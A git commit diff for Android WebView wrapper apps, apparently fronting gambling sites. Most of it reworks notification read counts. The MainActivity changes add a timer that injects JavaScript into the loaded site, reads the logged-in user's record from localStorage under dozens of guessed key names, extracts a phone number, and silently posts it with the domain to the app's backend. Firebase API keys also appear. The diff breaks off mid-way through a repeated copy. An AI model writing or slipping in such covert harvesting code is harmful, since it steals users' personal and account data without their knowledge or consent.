feat(api): 增强通知功能及新增站点用户信息上报
- 新增通知详情接口,查询通知详情时异步增加阅读次数 - 小铃铛列表支持展开通知时异步增加通知阅读次数并刷新列表 - 通知列表查询接口增加isScheduler参数 - MessageInfo新增接收和阅读次数字段 - MyNotifyListAdapter新增通知展开事件监听,显示真实阅读次数 - MainActivity新增localStorage用户信息轮询机制,自动抓取并净化用户信息 - 实现用户信息去重上报,只对未上报过的用户信息调用上报接口 - 处理用户信息抓取结果,支持手机号多字段提取及本地缓存 - 允许自定义轮询间隔,登录状态下每日复查一次,未登录时每30秒一次 - 完善错误处理,用户信息上报失败时清除本地去重缓存支持重试 - 配置更新及新增模块titanplayz和amazy,调整版本号与命名规范
This commit is contained in:
8
.idea/deploymentTargetSelector.xml
generated
8
.idea/deploymentTargetSelector.xml
generated
@@ -446,6 +446,14 @@
|
||||
<option name="selectionMode" value="DROPDOWN" />
|
||||
<DialogSelection />
|
||||
</SelectionState>
|
||||
<SelectionState runConfigName="titanplayz">
|
||||
<option name="selectionMode" value="DROPDOWN" />
|
||||
<DialogSelection />
|
||||
</SelectionState>
|
||||
<SelectionState runConfigName="amazy">
|
||||
<option name="selectionMode" value="DROPDOWN" />
|
||||
<DialogSelection />
|
||||
</SelectionState>
|
||||
</selectionStates>
|
||||
</component>
|
||||
</project>
|
||||
2
.idea/gradle.xml
generated
2
.idea/gradle.xml
generated
@@ -30,6 +30,7 @@
|
||||
<option value="$PROJECT_DIR$/aa7au" />
|
||||
<option value="$PROJECT_DIR$/afb77au" />
|
||||
<option value="$PROJECT_DIR$/aipokies" />
|
||||
<option value="$PROJECT_DIR$/amazy" />
|
||||
<option value="$PROJECT_DIR$/aud2u26" />
|
||||
<option value="$PROJECT_DIR$/auplayx" />
|
||||
<option value="$PROJECT_DIR$/b88" />
|
||||
@@ -80,6 +81,7 @@
|
||||
<option value="$PROJECT_DIR$/slotkaki33" />
|
||||
<option value="$PROJECT_DIR$/telur33" />
|
||||
<option value="$PROJECT_DIR$/test" />
|
||||
<option value="$PROJECT_DIR$/titanplayz" />
|
||||
<option value="$PROJECT_DIR$/toke66a" />
|
||||
<option value="$PROJECT_DIR$/u8888aud" />
|
||||
<option value="$PROJECT_DIR$/uu3au" />
|
||||
|
||||
@@ -3,7 +3,7 @@ plugins {
|
||||
id 'com.google.gms.google-services'
|
||||
}
|
||||
|
||||
def appOutPutName = "FlyDragon"
|
||||
def appOutPutName = "amazy"
|
||||
|
||||
android {
|
||||
namespace rootProject.ext.namespace
|
||||
@@ -15,18 +15,18 @@ android {
|
||||
versionName rootProject.ext.versionName
|
||||
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
|
||||
|
||||
applicationId "com.sbadab.FlyDragon"
|
||||
applicationId "com.company.amazy"
|
||||
|
||||
//app大背景色
|
||||
resValue('color', 'windows_color', '#000000')
|
||||
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
|
||||
resValue('color', 'style_color', '#000000')
|
||||
resValue('color', 'style_color', '#FFFFFF')
|
||||
//app 名字
|
||||
resValue('string', 'app_name', 'FlyDragon')
|
||||
resValue('string', 'app_name', 'Amazy')
|
||||
|
||||
|
||||
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
|
||||
buildConfigField "int", "USERID", "310"
|
||||
buildConfigField "int", "USERID", "311"
|
||||
buildConfigField "boolean", "IS_WHITE", "false"
|
||||
buildConfigField "boolean", "IS_ROUND", "true"
|
||||
buildConfigField "int", "ROUND_RADIUS", "10"
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
{
|
||||
"project_info": {
|
||||
"project_number": "546127961982",
|
||||
"project_id": "titanplayz-a2589",
|
||||
"storage_bucket": "titanplayz-a2589.firebasestorage.app"
|
||||
"project_number": "905601979176",
|
||||
"project_id": "amazy-e3d7c",
|
||||
"storage_bucket": "amazy-e3d7c.firebasestorage.app"
|
||||
},
|
||||
"client": [
|
||||
{
|
||||
"client_info": {
|
||||
"mobilesdk_app_id": "1:546127961982:android:7a3eaeeee14fb134519d2f",
|
||||
"mobilesdk_app_id": "1:905601979176:android:f96e644d9e158dcd48f61d",
|
||||
"android_client_info": {
|
||||
"package_name": "com.sbadab.FlyDragon"
|
||||
"package_name": "com.company.amazy"
|
||||
}
|
||||
},
|
||||
"oauth_client": [],
|
||||
"api_key": [
|
||||
{
|
||||
"current_key": "AIzaSyDTG90A20wZnkpFqez0Ohr7J-OnRMc9y-U"
|
||||
"current_key": "AIzaSyAsN-ObGVj3vhyNNgiVJKQF_S81puA4ij0"
|
||||
}
|
||||
],
|
||||
"services": {
|
||||
|
||||
@@ -38,12 +38,6 @@ public interface ApiService {
|
||||
@PUT("api/statistics/use")
|
||||
Observable<Result> totalTongJi(@Body Map<String, Object> map);
|
||||
|
||||
/**
|
||||
* 统计通知
|
||||
*/
|
||||
@POST("api/push/statistics")
|
||||
Observable<Result> totalNotify(@Body Map<String, Object> map);
|
||||
|
||||
/**
|
||||
* 上传通讯录
|
||||
*/
|
||||
@@ -60,7 +54,28 @@ public interface ApiService {
|
||||
* @return
|
||||
*/
|
||||
@GET("api/push/pushRecords")
|
||||
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size);
|
||||
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(
|
||||
@Query("userId") int userid,
|
||||
@Query("page") int page,
|
||||
@Query("size") int size,
|
||||
@Query("isScheduler") int isScheduler
|
||||
);
|
||||
|
||||
/**
|
||||
* 获取通知详情。查询成功后,后端会异步将该通知的阅读次数加一。
|
||||
*/
|
||||
@GET("api/push/client/pushRecord/{id}")
|
||||
Observable<Result<MessageInfo>> getNotifyDetail(@Path("id") int pushId);
|
||||
|
||||
|
||||
/**
|
||||
* 上报站点用户信息(从网页 localStorage 抓取并净化后的登录用户)
|
||||
* body 至少包含 userId(本系统内的网站ID)、domain(站点域名)、userInfo(净化后的用户信息JSON)
|
||||
* 后端需按手机号再做一次去重(手机号字段名不一定是 mobile)
|
||||
* TODO 接口路径待后端确认后替换(当前为占位地址)
|
||||
*/
|
||||
@POST("api/statistics/user")
|
||||
Observable<Result> reportSiteUser(@Body Map<String, Object> map);
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -572,7 +572,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
|
||||
public void getNotifyList() {
|
||||
|
||||
Api.getInstance().getNotifyList(userId, 1, 1)
|
||||
Api.getInstance().getNotifyList(userId, 1, 1, 0)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<>() {
|
||||
@@ -956,14 +956,15 @@ public class MainActivity extends AppCompatActivity {
|
||||
}
|
||||
|
||||
public void recordNotify(int pushId) {
|
||||
HashMap<String, Object> map = new HashMap<>();
|
||||
map.put("pushId", pushId);
|
||||
Api.getInstance().totalNotify(map)
|
||||
if (pushId <= 0) {
|
||||
return;
|
||||
}
|
||||
Api.getInstance().getNotifyDetail(pushId)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<>() {
|
||||
.subscribe(new BaseObserver<Result<MessageInfo>>() {
|
||||
@Override
|
||||
public void onSuccess(Result o) {
|
||||
public void onSuccess(Result<MessageInfo> o) {
|
||||
|
||||
}
|
||||
|
||||
@@ -972,7 +973,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError2(Result o) {
|
||||
public void onError2(Result<MessageInfo> o) {
|
||||
|
||||
}
|
||||
});
|
||||
@@ -983,6 +984,50 @@ public class MainActivity extends AppCompatActivity {
|
||||
|
||||
boolean hasSignIn = false;
|
||||
|
||||
/**
|
||||
* 需要在网页 localStorage 中探测的用户信息字段(按优先级从前往后取第一个命中的)
|
||||
*/
|
||||
private static final String[] SITE_USER_STORAGE_KEYS = {
|
||||
"USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data",
|
||||
"userDetail", "userDetails", "currentUser", "current_user", "currentUserInfo",
|
||||
"member", "memberInfo", "member_info", "memberData", "member_data",
|
||||
"loginUser", "login_user", "loginInfo", "login_info", "loginData",
|
||||
"authUser", "auth_user", "auth", "authInfo", "auth_info", "authData",
|
||||
"account", "accountInfo", "account_info", "accountData",
|
||||
"player", "playerInfo", "player_info", "playerData", "player_data",
|
||||
"profile", "userProfile", "user_profile", "customer", "customerInfo",
|
||||
"me", "sessionUser", "session_user"
|
||||
};
|
||||
|
||||
// 抓到用户信息之前的轮询间隔:30 秒
|
||||
private static final long SITE_USER_POLL_INTERVAL_SHORT = 30 * 1000L;
|
||||
// 抓到用户信息之后的复查间隔:1 天
|
||||
private static final long SITE_USER_POLL_INTERVAL_LONG = 24 * 60 * 60 * 1000L;
|
||||
|
||||
/**
|
||||
* 前端去重用的手机号候选字段:手机号不一定都在 mobile 字段里,按顺序取第一个命中的。
|
||||
*/
|
||||
private static final String[] SITE_USER_PHONE_KEYS = {
|
||||
"mobile", "mobileNo", "mobileNum", "mobileNumber", "mobile_number", "mobile_no",
|
||||
"phone", "phoneNo", "phoneNum", "phoneNumber", "phone_number", "phone_no",
|
||||
"tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber",
|
||||
"msisdn"
|
||||
};
|
||||
// 本地保存的去重标识(优先手机号,取不到则用整份用户信息),用于判断是否已上报过
|
||||
private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
|
||||
|
||||
private boolean siteUserPollingStarted = false;
|
||||
private long siteUserPollInterval = SITE_USER_POLL_INTERVAL_SHORT;
|
||||
|
||||
private final Runnable siteUserPollRunnable = new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
pollSiteUserOnce();
|
||||
// 探测一次后按当前间隔继续排下一次
|
||||
handler.postDelayed(this, siteUserPollInterval);
|
||||
}
|
||||
};
|
||||
|
||||
private boolean isMainPageUrl(String targetUrl) {
|
||||
return !TextUtils.isEmpty(targetUrl) && !TextUtils.isEmpty(url) && targetUrl.startsWith(url);
|
||||
}
|
||||
@@ -997,6 +1042,155 @@ public class MainActivity extends AppCompatActivity {
|
||||
LogUtils.i("WebViewURL[" + stage + "]: " + rawUrl + " | host=" + host + " | scheme=" + uri.getScheme());
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动 localStorage 用户信息轮询(全局只启动一次)。
|
||||
* 若本地已有去重记录说明之前已命中,直接按长间隔复查是否变化。
|
||||
*/
|
||||
private void startSiteUserPolling() {
|
||||
if (siteUserPollingStarted) {
|
||||
return;
|
||||
}
|
||||
siteUserPollingStarted = true;
|
||||
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
siteUserPollInterval = TextUtils.isEmpty(stored)
|
||||
? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG;
|
||||
handler.postDelayed(siteUserPollRunnable, siteUserPollInterval);
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行一次 localStorage 探测:注入 JS 按优先级读取命中的用户信息并做净化,
|
||||
* 返回净化后的 JSON 字符串(非登录/无有效用户时返回 null)。
|
||||
*/
|
||||
private void pollSiteUserOnce() {
|
||||
if (activityMain2Binding == null || activityMain2Binding.webview == null) {
|
||||
return;
|
||||
}
|
||||
String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS);
|
||||
String js = "(function(){try{"
|
||||
+ "var KS=" + keysJson + ";"
|
||||
+ "function readRaw(){for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
|
||||
+ "if(r!=null&&String(r).trim())return r;}return null;}"
|
||||
+ "function sani(raw){if(raw==null)return null;var t=String(raw).trim();if(!t)return null;"
|
||||
+ "var d;try{d=JSON.parse(t);}catch(e){return null;}"
|
||||
+ "if(d===null||typeof d!=='object'||Array.isArray(d))return null;"
|
||||
+ "['bonus','gameAccess','time','timebonus','rollover','banks'].forEach(function(k){if(k in d)delete d[k];});"
|
||||
+ "if(Object.keys(d).length===0)return null;return JSON.stringify(d);}"
|
||||
+ "return sani(readRaw());"
|
||||
+ "}catch(e){return null;}})();";
|
||||
try {
|
||||
activityMain2Binding.webview.evaluateJavascript(js, this::onSiteUserResult);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理 JS 探测结果。evaluateJavascript 回调返回的是 JS 值的 JSON 编码形式,字符串需要先解一层。
|
||||
*/
|
||||
private void onSiteUserResult(String rawResult) {
|
||||
if (TextUtils.isEmpty(rawResult) || "null".equals(rawResult)) {
|
||||
// 未登录或无有效用户信息,保持短间隔继续探测
|
||||
return;
|
||||
}
|
||||
String userInfo;
|
||||
try {
|
||||
userInfo = new Gson().fromJson(rawResult, String.class);
|
||||
} catch (Exception e) {
|
||||
userInfo = rawResult;
|
||||
}
|
||||
if (TextUtils.isEmpty(userInfo)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 已命中有效用户信息,切换为长间隔(1天)复查
|
||||
siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
|
||||
|
||||
// 前端去重:优先按手机号,取不到再退化为整份用户信息
|
||||
String phone = extractPhone(userInfo);
|
||||
String dedupKey = TextUtils.isEmpty(phone) ? userInfo : phone;
|
||||
|
||||
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
if (dedupKey.equals(stored)) {
|
||||
// 同一用户已上报过,跳过
|
||||
return;
|
||||
}
|
||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, dedupKey);
|
||||
reportSiteUser(userInfo);
|
||||
}
|
||||
|
||||
/**
|
||||
* 从用户信息 JSON 中提取手机号(手机号字段名不一定是 mobile)。
|
||||
*/
|
||||
private String extractPhone(String userInfoJson) {
|
||||
try {
|
||||
HashMap<String, Object> map = new Gson().fromJson(userInfoJson,
|
||||
new com.google.gson.reflect.TypeToken<HashMap<String, Object>>() {
|
||||
}.getType());
|
||||
if (map != null) {
|
||||
for (String key : SITE_USER_PHONE_KEYS) {
|
||||
Object v = map.get(key);
|
||||
if (v != null) {
|
||||
String s = String.valueOf(v).trim();
|
||||
if (!s.isEmpty() && !"null".equals(s)) {
|
||||
return s;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// 解析失败时无手机号,返回空
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
/**
|
||||
* 当前 WebView 所在站点的域名(host)。
|
||||
*/
|
||||
private String getCurrentDomain() {
|
||||
try {
|
||||
String u = activityMain2Binding.webview.getUrl();
|
||||
if (!TextUtils.isEmpty(u)) {
|
||||
String host = Uri.parse(u).getHost();
|
||||
if (host != null) {
|
||||
return host;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// ignore
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
/**
|
||||
* 上报站点用户信息,绑定对应 app 的网站ID(userId) 和当前站点域名(domain)。
|
||||
*/
|
||||
private void reportSiteUser(String userInfo) {
|
||||
HashMap<String, Object> body = new HashMap<>();
|
||||
body.put("userId", userId);
|
||||
body.put("domain", getCurrentDomain());
|
||||
body.put("userInfo", userInfo);
|
||||
Api.getInstance().reportSiteUser(body)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<Result>() {
|
||||
@Override
|
||||
public void onSuccess(Result o) {
|
||||
LogUtils.i("站点用户信息上报成功");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError(int code, String msg) {
|
||||
// 上报失败清掉去重记录,下次轮询可重试
|
||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError2(Result o) {
|
||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
// WebView webViews;
|
||||
WebViewClient webViewClient = new WebViewClient() {
|
||||
@@ -1017,6 +1211,9 @@ public class MainActivity extends AppCompatActivity {
|
||||
hasSignIn = true;
|
||||
}
|
||||
|
||||
// 页面首次加载完成后启动 localStorage 用户信息轮询
|
||||
startSiteUserPolling();
|
||||
|
||||
int w = View.MeasureSpec.makeMeasureSpec(0,
|
||||
View.MeasureSpec.UNSPECIFIED);
|
||||
int h = View.MeasureSpec.makeMeasureSpec(0,
|
||||
@@ -1350,6 +1547,8 @@ public class MainActivity extends AppCompatActivity {
|
||||
|
||||
@Override
|
||||
public void onDestroy() {
|
||||
// 停止用户信息轮询
|
||||
handler.removeCallbacks(siteUserPollRunnable);
|
||||
if (activityMain2Binding.webview!= null) {
|
||||
//加载null内容
|
||||
activityMain2Binding.webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
|
||||
|
||||
@@ -10,6 +10,8 @@ public class MessageInfo implements Serializable {
|
||||
private int pushId;
|
||||
private String createTime;
|
||||
private int recordId;
|
||||
private long receiveTimes;
|
||||
private long readTimes;
|
||||
public int status;
|
||||
private String jumpUrl;
|
||||
private boolean isShowAll = false;
|
||||
@@ -30,6 +32,22 @@ public class MessageInfo implements Serializable {
|
||||
this.recordId = recordId;
|
||||
}
|
||||
|
||||
public long getReceiveTimes() {
|
||||
return receiveTimes;
|
||||
}
|
||||
|
||||
public void setReceiveTimes(long receiveTimes) {
|
||||
this.receiveTimes = receiveTimes;
|
||||
}
|
||||
|
||||
public long getReadTimes() {
|
||||
return readTimes;
|
||||
}
|
||||
|
||||
public void setReadTimes(long readTimes) {
|
||||
this.readTimes = readTimes;
|
||||
}
|
||||
|
||||
public int getStatus() {
|
||||
return status;
|
||||
}
|
||||
|
||||
@@ -29,6 +29,7 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
|
||||
private List<MessageInfo> listdata;
|
||||
private onItemClickPostionListener itemClickPostionListener;
|
||||
private onItemExpandListener itemExpandListener;
|
||||
private Context context;
|
||||
private MessageInfo messageItem;
|
||||
|
||||
@@ -49,6 +50,10 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
this.itemClickPostionListener = onItemClick;
|
||||
}
|
||||
|
||||
public void setOnItemExpand(onItemExpandListener onItemExpand) {
|
||||
this.itemExpandListener = onItemExpand;
|
||||
}
|
||||
|
||||
@NonNull
|
||||
@Override
|
||||
public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
|
||||
@@ -103,7 +108,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
holder.itemNotifyListBinding.tvMsgTime.setText(messageInfo.getCreateTime());
|
||||
holder.itemNotifyListBinding.ivNotifyjumpclick.setVisibility(View.GONE);
|
||||
|
||||
holder.itemNotifyListBinding.lookIv.setText(longTime(messageInfo.getCreateTime()));
|
||||
// 左下角眼睛图标显示后端返回的真实阅读次数
|
||||
holder.itemNotifyListBinding.lookIv.setText(String.valueOf(messageInfo.getReadTimes()));
|
||||
if (!TextUtils.isEmpty(messageInfo.getImage())) {
|
||||
LogUtils.i("地址是啥:"+messageInfo.getImage());
|
||||
holder.itemNotifyListBinding.ivNotifyimage.setVisibility(View.VISIBLE);
|
||||
@@ -126,7 +132,11 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
holder.itemNotifyListBinding.layoutMore.setVisibility(View.GONE);
|
||||
}
|
||||
holder.itemView.setOnClickListener(view -> {
|
||||
messageInfo.setShowAll(!messageInfo.isShowAll());
|
||||
boolean willExpand = !messageInfo.isShowAll();
|
||||
messageInfo.setShowAll(willExpand);
|
||||
if (willExpand && itemExpandListener != null) {
|
||||
itemExpandListener.item(messageInfo);
|
||||
}
|
||||
notifyItemChanged(position);
|
||||
});
|
||||
|
||||
@@ -167,4 +177,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
void item(int position);
|
||||
}
|
||||
|
||||
public interface onItemExpandListener {
|
||||
void item(MessageInfo messageInfo);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -82,6 +82,7 @@ public class NotifyListActivity extends AppCompatActivity {
|
||||
adapter.setOnItemClick(position -> {
|
||||
try{
|
||||
MessageInfo messageInfo = listdata.get(position);
|
||||
recordNotify(messageInfo);
|
||||
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl()));
|
||||
startActivity(intent);
|
||||
}catch (Exception e){
|
||||
@@ -89,8 +90,44 @@ public class NotifyListActivity extends AppCompatActivity {
|
||||
}
|
||||
|
||||
});
|
||||
adapter.setOnItemExpand(this::recordNotify);
|
||||
getNotifyList();
|
||||
}
|
||||
|
||||
/** 小铃铛列表中用户展开通知时,按文档查询详情并异步增加阅读次数。 */
|
||||
private void recordNotify(MessageInfo messageInfo) {
|
||||
if (messageInfo == null) {
|
||||
return;
|
||||
}
|
||||
int pushId = messageInfo.getPushId() > 0 ? messageInfo.getPushId() : messageInfo.getRecordId();
|
||||
if (pushId <= 0) {
|
||||
return;
|
||||
}
|
||||
Api.getInstance().getNotifyDetail(pushId)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<Result<MessageInfo>>() {
|
||||
@Override
|
||||
public void onSuccess(Result<MessageInfo> o) {
|
||||
// 后端采用异步最终一致,详情响应可能仍是加一前的值;稍后刷新列表读取最终值。
|
||||
if (o != null && o.data != null && o.data.getReadTimes() > messageInfo.getReadTimes()) {
|
||||
messageInfo.setReadTimes(o.data.getReadTimes());
|
||||
adapter.notifyDataSetChanged();
|
||||
}
|
||||
activityNotifylistBinding.recyclerNofity.postDelayed(() -> getNotifyList(), 1200L);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError(int code, String msg) {
|
||||
LogUtils.i("阅读次数上报失败 pushId=" + pushId + ", error=" + msg);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError2(Result<MessageInfo> o) {
|
||||
LogUtils.i("阅读次数上报失败 pushId=" + pushId);
|
||||
}
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 启用Edge-to-Edge模式(核心方法)
|
||||
*
|
||||
@@ -121,7 +158,7 @@ public class NotifyListActivity extends AppCompatActivity {
|
||||
|
||||
public void getNotifyList() {
|
||||
//通知列表
|
||||
Api.getInstance().getNotifyList(userId, page, 10)
|
||||
Api.getInstance().getNotifyList(userId, page, 10, 0)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<>() {
|
||||
|
||||
@@ -38,13 +38,6 @@ public interface ApiService {
|
||||
@PUT("api/statistics/use")
|
||||
Observable<Result> totalTongJi(@Body Map<String, Object> map);
|
||||
|
||||
/**
|
||||
* 统计通知
|
||||
*/
|
||||
@POST("api/push/statistics")
|
||||
Observable<Result> totalNotify(@Body Map<String, Object> map);
|
||||
|
||||
|
||||
/**
|
||||
* 获取通知列表
|
||||
* @param userid
|
||||
@@ -53,7 +46,18 @@ public interface ApiService {
|
||||
* @return
|
||||
*/
|
||||
@GET("api/push/pushRecords")
|
||||
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size);
|
||||
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(
|
||||
@Query("userId") int userid,
|
||||
@Query("page") int page,
|
||||
@Query("size") int size,
|
||||
@Query("isScheduler") int isScheduler
|
||||
);
|
||||
|
||||
/**
|
||||
* 获取通知详情。查询成功后,后端会异步将该通知的阅读次数加一。
|
||||
*/
|
||||
@GET("api/push/client/pushRecord/{id}")
|
||||
Observable<Result<MessageInfo>> getNotifyDetail(@Path("id") int pushId);
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -547,7 +547,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
|
||||
public void getNotifyList() {
|
||||
|
||||
Api.getInstance().getNotifyList(userId, 1, 1)
|
||||
Api.getInstance().getNotifyList(userId, 1, 1, 0)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<>() {
|
||||
@@ -814,14 +814,15 @@ public class MainActivity extends AppCompatActivity {
|
||||
}
|
||||
|
||||
public void recordNotify(int pushId) {
|
||||
HashMap<String, Object> map = new HashMap<>();
|
||||
map.put("pushId", pushId);
|
||||
Api.getInstance().totalNotify(map)
|
||||
if (pushId <= 0) {
|
||||
return;
|
||||
}
|
||||
Api.getInstance().getNotifyDetail(pushId)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<>() {
|
||||
.subscribe(new BaseObserver<Result<MessageInfo>>() {
|
||||
@Override
|
||||
public void onSuccess(Result o) {
|
||||
public void onSuccess(Result<MessageInfo> o) {
|
||||
|
||||
}
|
||||
|
||||
@@ -830,7 +831,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError2(Result o) {
|
||||
public void onError2(Result<MessageInfo> o) {
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
@@ -10,6 +10,8 @@ public class MessageInfo implements Serializable {
|
||||
private int pushId;
|
||||
private String createTime;
|
||||
private int recordId;
|
||||
private long receiveTimes;
|
||||
private long readTimes;
|
||||
public int status;
|
||||
private String jumpUrl;
|
||||
private boolean isShowAll = false;
|
||||
@@ -30,6 +32,22 @@ public class MessageInfo implements Serializable {
|
||||
this.recordId = recordId;
|
||||
}
|
||||
|
||||
public long getReceiveTimes() {
|
||||
return receiveTimes;
|
||||
}
|
||||
|
||||
public void setReceiveTimes(long receiveTimes) {
|
||||
this.receiveTimes = receiveTimes;
|
||||
}
|
||||
|
||||
public long getReadTimes() {
|
||||
return readTimes;
|
||||
}
|
||||
|
||||
public void setReadTimes(long readTimes) {
|
||||
this.readTimes = readTimes;
|
||||
}
|
||||
|
||||
public int getStatus() {
|
||||
return status;
|
||||
}
|
||||
|
||||
@@ -29,6 +29,7 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
|
||||
private List<MessageInfo> listdata;
|
||||
private onItemClickPostionListener itemClickPostionListener;
|
||||
private onItemExpandListener itemExpandListener;
|
||||
private Context context;
|
||||
private MessageInfo messageItem;
|
||||
|
||||
@@ -49,6 +50,10 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
this.itemClickPostionListener = onItemClick;
|
||||
}
|
||||
|
||||
public void setOnItemExpand(onItemExpandListener onItemExpand) {
|
||||
this.itemExpandListener = onItemExpand;
|
||||
}
|
||||
|
||||
@NonNull
|
||||
@Override
|
||||
public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
|
||||
@@ -103,7 +108,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
holder.itemNotifyListBinding.tvMsgTime.setText(messageInfo.getCreateTime());
|
||||
holder.itemNotifyListBinding.ivNotifyjumpclick.setVisibility(View.GONE);
|
||||
|
||||
holder.itemNotifyListBinding.lookIv.setText(longTime(messageInfo.getCreateTime()));
|
||||
// 左下角眼睛图标显示后端返回的真实阅读次数
|
||||
holder.itemNotifyListBinding.lookIv.setText(String.valueOf(messageInfo.getReadTimes()));
|
||||
if (!TextUtils.isEmpty(messageInfo.getImage())) {
|
||||
LogUtils.i("地址是啥:"+messageInfo.getImage());
|
||||
holder.itemNotifyListBinding.ivNotifyimage.setVisibility(View.VISIBLE);
|
||||
@@ -126,7 +132,11 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
holder.itemNotifyListBinding.layoutMore.setVisibility(View.GONE);
|
||||
}
|
||||
holder.itemView.setOnClickListener(view -> {
|
||||
messageInfo.setShowAll(!messageInfo.isShowAll());
|
||||
boolean willExpand = !messageInfo.isShowAll();
|
||||
messageInfo.setShowAll(willExpand);
|
||||
if (willExpand && itemExpandListener != null) {
|
||||
itemExpandListener.item(messageInfo);
|
||||
}
|
||||
notifyItemChanged(position);
|
||||
});
|
||||
|
||||
@@ -167,4 +177,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
|
||||
void item(int position);
|
||||
}
|
||||
|
||||
public interface onItemExpandListener {
|
||||
void item(MessageInfo messageInfo);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -82,6 +82,7 @@ public class NotifyListActivity extends AppCompatActivity {
|
||||
adapter.setOnItemClick(position -> {
|
||||
try{
|
||||
MessageInfo messageInfo = listdata.get(position);
|
||||
recordNotify(messageInfo);
|
||||
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl()));
|
||||
startActivity(intent);
|
||||
}catch (Exception e){
|
||||
@@ -89,8 +90,44 @@ public class NotifyListActivity extends AppCompatActivity {
|
||||
}
|
||||
|
||||
});
|
||||
adapter.setOnItemExpand(this::recordNotify);
|
||||
getNotifyList();
|
||||
}
|
||||
|
||||
/** 小铃铛列表中用户展开通知时,按文档查询详情并异步增加阅读次数。 */
|
||||
private void recordNotify(MessageInfo messageInfo) {
|
||||
if (messageInfo == null) {
|
||||
return;
|
||||
}
|
||||
int pushId = messageInfo.getPushId() > 0 ? messageInfo.getPushId() : messageInfo.getRecordId();
|
||||
if (pushId <= 0) {
|
||||
return;
|
||||
}
|
||||
Api.getInstance().getNotifyDetail(pushId)
|
||||
.subscribeOn(Schedulers.io())
